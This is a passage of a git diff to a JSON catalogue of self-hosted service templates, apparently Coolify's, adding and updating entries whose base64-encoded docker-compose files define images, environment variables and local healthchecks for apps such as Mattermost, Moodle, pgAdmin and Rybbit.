"c2VydmljZXM6CiAgbG9iZS1jaGF0OgogICAgaW1hZ2U6ICdsb2JlaHViL2xvYmUtY2hhdDoxLjEzNS41JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xPQkVDSEFUXzMyMTAKICAgICAgLSAnT1BFTkFJX0FQSV9LRVk9JHtPUEVOQUlfQVBJX0tFWX0nCiAgICAgIC0gJ09QRU5BSV9QUk9YWV9VUkw9JHtPUEVOQUlfQkFTRV9VUkw6LWh0dHBzOi8vYXBpLm9wZW5haS5jb20vdjF9JwogICAgICAtICdBQ0NFU1NfQ09ERT0ke1NFUlZJQ0VfUEFTU1dPUkRfQUNDRVNTQ09ERX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vbG9jYWxob3N0OjMyMTAvIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "tags": [ + "ai", + "chat", + "openai", + "llm", + "chatbot" + ], + "category": "ai", + "logo": "svgs/lobe-chat.png", + "minversion": "0.0.0", + "port": "3210" + }, "logto": { "documentation": "https://docs.logto.io/docs/tutorials/get-started/#logto-oss-self-hosted?utm_source=coolify.io", "slogan": "A comprehensive identity solution covering both the front and backend, complete with pre-built infrastructure and enterprise-grade solutions.", @@ -2253,7 +2297,7 @@ "mattermost": { "documentation": "https://docs.mattermost.com?utm_source=coolify.io", "slogan": "Mattermost is an open source, self-hosted Slack-alternative.", - "compose": "c2VydmljZXM6CiAgbWF0dGVybW9zdDoKICAgIGltYWdlOiAnbWF0dGVybW9zdC9tYXR0ZXJtb3N0LXRlYW0tZWRpdGlvbjpyZWxlYXNlLTEwJwogICAgcGxhdGZvcm06IGxpbnV4L2FtZDY0CiAgICB2b2x1bWVzOgogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtY29uZmlnOi9tYXR0ZXJtb3N0L2NvbmZpZzpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWRhdGE6L21hdHRlcm1vc3QvZGF0YTpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWxvZ3M6L21hdHRlcm1vc3QvbG9nczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLXBsdWdpbnM6L21hdHRlcm1vc3QvcGx1Z2luczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWNsaWVudC1wbHVnaW5zOi9tYXR0ZXJtb3N0L2NsaWVudC9wbHVnaW5zOnJ3JwogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtYmxldmUtaW5kZXhlczovbWF0dGVybW9zdC9ibGV2ZS1pbmRleGVzOnJ3JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX01BVFRFUk1PU1RfODA2NQogICAgICAtICdNTV9TRVJWSUNFU0VUVElOR1NfU0lURVVSTD0ke1NFUlZJQ0VfRlFETl9NQVRURVJNT1NUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBNTV9TUUxTRVRUSU5HU19EUklWRVJOQU1FPXBvc3RncmVzCiAgICAgIC0gJ01NX1NRTFNFVFRJTkdTX0RBVEFTT1VSQ0U9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBvc3RncmVzOjU0MzIvJFBPU1RHUkVTX0RCP3NzbG1vZGU9ZGlzYWJsZSZjb25uZWN0X3RpbWVvdXQ9MTAnCiAgICAgIC0gTU1fQkxFVkVTRVRUSU5HU19JTkRFWERJUj0vbWF0dGVybW9zdC9ibGV2ZS1pbmRleGVzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwNjUnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1hdHRlcm1vc3R9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbWF0dGVybW9zdDoKICAgIGltYWdlOiAnbWF0dGVybW9zdC9tYXR0ZXJtb3N0LXRlYW0tZWRpdGlvbjpyZWxlYXNlLTEwJwogICAgcGxhdGZvcm06IGxpbnV4L2FtZDY0CiAgICB2b2x1bWVzOgogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtY29uZmlnOi9tYXR0ZXJtb3N0L2NvbmZpZzpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWRhdGE6L21hdHRlcm1vc3QvZGF0YTpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWxvZ3M6L21hdHRlcm1vc3QvbG9nczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLXBsdWdpbnM6L21hdHRlcm1vc3QvcGx1Z2luczpydycKICAgICAgLSAnbWF0dGVybW9zdC1kYXRhLWNsaWVudC1wbHVnaW5zOi9tYXR0ZXJtb3N0L2NsaWVudC9wbHVnaW5zOnJ3JwogICAgICAtICdtYXR0ZXJtb3N0LWRhdGEtYmxldmUtaW5kZXhlczovbWF0dGVybW9zdC9ibGV2ZS1pbmRleGVzOnJ3JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX01BVFRFUk1PU1RfODA2NQogICAgICAtICdNTV9TRVJWSUNFU0VUVElOR1NfU0lURVVSTD0ke1NFUlZJQ0VfRlFETl9NQVRURVJNT1NUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBNTV9TUUxTRVRUSU5HU19EUklWRVJOQU1FPXBvc3RncmVzCiAgICAgIC0gJ01NX1NRTFNFVFRJTkdTX0RBVEFTT1VSQ0U9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBvc3RncmVzOjU0MzIvJFBPU1RHUkVTX0RCP3NzbG1vZGU9ZGlzYWJsZSZjb25uZWN0X3RpbWVvdXQ9MTAnCiAgICAgIC0gTU1fQkxFVkVTRVRUSU5HU19JTkRFWERJUj0vbWF0dGVybW9zdC9ibGV2ZS1pbmRleGVzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbWF0dGVybW9zdH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "mattermost", "slack", @@ -2472,7 +2516,7 @@ "moodle": { "documentation": "https://moodle.org?utm_source=coolify.io", "slogan": "Moodle is the world\u2019s most customisable and trusted eLearning solution that empowers educators to improve our world.", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gQUxMT1dfRU1QVFlfUEFTU1dPUkQ9bm8KICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JPT1QKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1iaXRuYW1pX21vb2RsZQogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NQVJJQURCCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQgogICAgICAtIE1BUklBREJfQ0hBUkFDVEVSX1NFVD11dGY4bWI0CiAgICAgIC0gTUFSSUFEQl9DT0xMQVRFPXV0ZjhtYjRfdW5pY29kZV9jaQogICAgdm9sdW1lczoKICAgICAgLSAnbWFyaWFkYi1kYXRhOi92YXIvbGliL215c3FsJwogIG1vb2RsZToKICAgIGltYWdlOiAnZG9ja2VyLmlvL2JpdG5hbWlsZWdhY3kvbW9vZGxlOjQuMycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NT09ETEVfODA4MAogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9IT1NUPW1hcmlhZGIKICAgICAgLSBNT09ETEVfREFUQUJBU0VfUE9SVF9OVU1CRVI9MzMwNgogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9VU0VSPSRTRVJWSUNFX1VTRVJfTUFSSUFEQgogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9OQU1FPWJpdG5hbWlfbW9vZGxlCiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01BUklBREIKICAgICAgLSBBTExPV19FTVBUWV9QQVNTV09SRD1ubwogICAgICAtICdNT09ETEVfVVNFUk5BTUU9JHtNT09ETEVfVVNFUk5BTUU6LXVzZXJ9JwogICAgICAtIE1PT0RMRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NT09ETEUKICAgICAgLSBNT09ETEVfRU1BSUw9dXNlckBleGFtcGxlLmNvbQogICAgICAtICdNT09ETEVfU0lURV9OQU1FPSR7TU9PRExFX1NJVEVfTkFNRTotTmV3IFNpdGV9JwogICAgdm9sdW1lczoKICAgICAgLSAnbW9vZGxlLWRhdGE6L2JpdG5hbWkvbW9vZGxlJwogICAgICAtICdtb29kbGVkYXRhLWRhdGE6L2JpdG5hbWkvbW9vZGxlZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbWFyaWFkYgo=", + "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gQUxMT1dfRU1QVFlfUEFTU1dPUkQ9bm8KICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1JPT1QKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1iaXRuYW1pX21vb2RsZQogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NQVJJQURCCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQgogICAgICAtIE1BUklBREJfQ0hBUkFDVEVSX1NFVD11dGY4bWI0CiAgICAgIC0gTUFSSUFEQl9DT0xMQVRFPXV0ZjhtYjRfdW5pY29kZV9jaQogICAgdm9sdW1lczoKICAgICAgLSAnbWFyaWFkYi1kYXRhOi92YXIvbGliL215c3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJiYXNoIC1jICc8L2Rldi90Y3AvbG9jYWxob3N0LzMzMDYnIgogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICBtb29kbGU6CiAgICBpbWFnZTogJ2RvY2tlci5pby9iaXRuYW1pbGVnYWN5L21vb2RsZTo0LjMnCiAgICBkZXBlbmRzX29uOgogICAgICAtIG1hcmlhZGIKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NT09ETEVfODA4MAogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9IT1NUPW1hcmlhZGIKICAgICAgLSBNT09ETEVfREFUQUJBU0VfUE9SVF9OVU1CRVI9MzMwNgogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9VU0VSPSRTRVJWSUNFX1VTRVJfTUFSSUFEQgogICAgICAtIE1PT0RMRV9EQVRBQkFTRV9OQU1FPWJpdG5hbWlfbW9vZGxlCiAgICAgIC0gTU9PRExFX0RBVEFCQVNFX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01BUklBREIKICAgICAgLSBBTExPV19FTVBUWV9QQVNTV09SRD1ubwogICAgICAtICdNT09ETEVfVVNFUk5BTUU9JHtNT09ETEVfVVNFUk5BTUU6LXVzZXJ9JwogICAgICAtIE1PT0RMRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NT09ETEUKICAgICAgLSBNT09ETEVfRU1BSUw9dXNlckBleGFtcGxlLmNvbQogICAgICAtICdNT09ETEVfU0lURV9OQU1FPSR7TU9PRExFX1NJVEVfTkFNRTotTmV3IFNpdGV9JwogICAgdm9sdW1lczoKICAgICAgLSAnbW9vZGxlLWRhdGE6L2JpdG5hbWkvbW9vZGxlJwogICAgICAtICdtb29kbGVkYXRhLWRhdGE6L2JpdG5hbWkvbW9vZGxlZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBwaHAKICAgICAgICAtICctcicKICAgICAgICAtICJleGl0KGZpbGVfZXhpc3RzKCcvb3B0L2JpdG5hbWkvbW9vZGxlL2NvbmZpZy5waHAnKSA/IDAgOiAxKTsiCiAgICAgIGludGVydmFsOiAyMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUK", "tags": [ "moodle", "elearning", @@ -2604,6 +2648,22 @@ "logo": "svgs/netbird.png", "minversion": "0.0.0" }, + "newapi": { + "documentation": "https://docs.newapi.pro/en/getting-started/?utm_source=coolify.io", + "slogan": "The next-generation LLM gateway and AI asset management system supports multiple languages.", + "compose": "c2VydmljZXM6CiAgbmV3LWFwaToKICAgIGltYWdlOiAnY2FsY2l1bWlvbi9uZXctYXBpOnYwLjkuMi4wJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX05FV19BUElfMzAwMAogICAgICAtICdTUUxfRFNOPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0Bwb3N0Z3Jlc3FsOjU0MzIvJHtQT1NUR1JFU19EQVRBQkFTRTotbmV3YXBpfT9zc2xtb2RlPWRpc2FibGUmVGltZVpvbmU9JHtUWjotQXNpYS9TaGFuZ2hhaX0nCiAgICAgIC0gJ1JFRElTX0NPTk5fU1RSSU5HPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnVFo9JHtUWjotQXNpYS9TaGFuZ2hhaX0nCiAgICAgIC0gU0VTU0lPTl9TRUNSRVQ9JFNFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT05fU0VDUkVUCiAgICAgIC0gJ0VSUk9SX0xPR19FTkFCTEVEPSR7RVJST1JfTE9HX0VOQUJMRUQ6LXRydWV9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJ3Z2V0IC1xIC1PIC0gaHR0cDovL2xvY2FsaG9zdDozMDAwL2FwaS9zdGF0dXMgfCBncmVwIC1vICdcInN1Y2Nlc3NcIjpcXHMqdHJ1ZScgfCBhd2sgLUY6ICd7cHJpbnQgJDJ9JyIKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREFUQUJBU0U6LW5ld2FwaX0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCOi1uZXdhcGl9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=", + "tags": [ + "api", + "openai", + "llm", + "api-gateway", + "api-management" + ], + "category": "api", + "logo": "svgs/newapi.png", + "minversion": "0.0.0", + "port": "3000" + }, "next-image-transformation": { "documentation": "https://github.com/coollabsio/next-image-transformation?utm_source=coolify.io", "slogan": "Drop-in replacement for Vercel's Nextjs image optimization service.", @@ -2852,6 +2912,24 @@ "logo": "svgs/ollama.svg", "minversion": "0.0.0" }, + "once-campfire": { + "documentation": "https://github.com/basecamp/once-campfire?utm_source=coolify.io", + "slogan": "Super simple group chat, without a subscription.", + "compose": "c2VydmljZXM6CiAgY2FtcGZpcmU6CiAgICBpbWFnZTogJ2doY3IuaW8vYmFzZWNhbXAvb25jZS1jYW1wZmlyZToke1RBRzotbWFpbn0nCiAgICByZXN0YXJ0OiB1bmxlc3Mtc3RvcHBlZAogICAgdm9sdW1lczoKICAgICAgLSAnY2FtcGZpcmUtc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQU1QRklSRV84MAogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9DQU1QRklSRX0nCiAgICAgIC0gJ1ZBUElEX1BVQkxJQ19LRVk9JHtWQVBJRF9QVUJMSUNfS0VZfScKICAgICAgLSAnVkFQSURfUFJJVkFURV9LRVk9JHtWQVBJRF9QUklWQVRFX0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NMPSR7RElTQUJMRV9TU0w6LXRydWV9JwogICAgICAtICdTU0xfRE9NQUlOPSR7U1NMX0RPTUFJTjotZmFsc2V9JwogICAgICAtICdTS0lQX1RFTEVNRVRSWT0ke1NLSVBfVEVMRU1FVFJZOi10cnVlfScKICAgICAgLSAnU0VOVFJZX0RTTj0ke1NFTlRSWV9EU059JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0L3VwJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "tags": [ + "campfire", + "chat", + "communication", + "rails", + "once", + "basecamp", + "37signals" + ], + "category": "messaging", + "logo": "svgs/once-campfire.png", + "minversion": "0.0.0", + "port": "80" + }, "onedev": { "documentation": "https://docs.onedev.io/?utm_source=coolify.io", "slogan": "Git server with CI/CD, kanban, and packages. Seamless integration. Unparalleled experience.", @@ -3070,6 +3148,18 @@ "minversion": "0.0.0", "port": "8080" }, + "pgadmin": { + "documentation": "https://www.pgadmin.org/docs/pgadmin4/latest/container_deployment.html?utm_source=coolify.io", + "slogan": "pgAdmin is a web-based database management tool for administering your PostgreSQL databases through a user-friendly interface.", + "compose": "c2VydmljZXM6CiAgcGdhZG1pbjoKICAgIGltYWdlOiAnZHBhZ2UvcGdhZG1pbjQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1BHQURNSU4KICAgICAgLSAnUEdBRE1JTl9ERUZBVUxUX0VNQUlMPSR7UEdBRE1JTl9ERUZBVUxUX0VNQUlMOj99JwogICAgICAtICdQR0FETUlOX0RFRkFVTFRfUEFTU1dPUkQ9JHtQR0FETUlOX0RFRkFVTFRfUEFTU1dPUkQ6P30nCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2FkbWluLWRhdGE6L3Zhci9saWIvcGdhZG1pbicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwL2xvZ2luJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUK", + "tags": [ + "database management" + ], + "category": "database", + "logo": "svgs/postgresql.svg", + "minversion": "0.0.0", + "port": "80" + }, "pgbackweb": { "documentation": "https://github.com/eduardolat/pgbackweb?utm_source=coolify.io", "slogan": "Effortless PostgreSQL backups with a user-friendly web interface!", @@ -3464,6 +3554,23 @@ "minversion": "0.0.0", "port": "3000" }, + "rybbit": { + "documentation": "https://rybbit.io/docs?utm_source=coolify.io", + "slogan": "Open-source, privacy-first web analytics.", + "compose": "c2VydmljZXM6CiAgcnliYml0OgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtY2xpZW50OnYxLjYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9SWUJCSVRfMzAwMgogICAgICAtIE5PREVfRU5WPXByb2R1Y3Rpb24KICAgICAgLSAnTkVYVF9QVUJMSUNfQkFDS0VORF9VUkw9JHtTRVJWSUNFX0ZRRE5fUllCQklUfScKICAgICAgLSAnTkVYVF9QVUJMSUNfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSByeWJiaXRfYmFja2VuZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICduYyAteiAxMjcuMC4wLjEgMzAwMicKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogIHJ5YmJpdF9iYWNrZW5kOgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtYmFja2VuZDp2MS42LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gVFJVU1RfUFJPWFk9dHJ1ZQogICAgICAtICdCQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9SWUJCSVR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQkVUVEVSX0FVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfNjRfQkFDS0VORH0nCiAgICAgIC0gJ0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9URUxFTUVUUlk9JHtESVNBQkxFX1RFTEVNRVRSWTotdHJ1ZX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfSE9TVD1odHRwOi8vcnliYml0X2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7Q0xJQ0tIT1VTRV9VU0VSOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWFuYWx5dGljc30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1yeWJiaXRfcG9zdGdyZXMKICAgICAgLSBQT1NUR1JFU19QT1JUPTU0MzIKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgZGVwZW5kc19vbjoKICAgICAgcnliYml0X2NsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcnliYml0X3Bvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAxL2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcnliYml0X2NsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjUuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1hbmFseXRpY3N9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtDTElDS0hPVVNFX1VTRVI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0g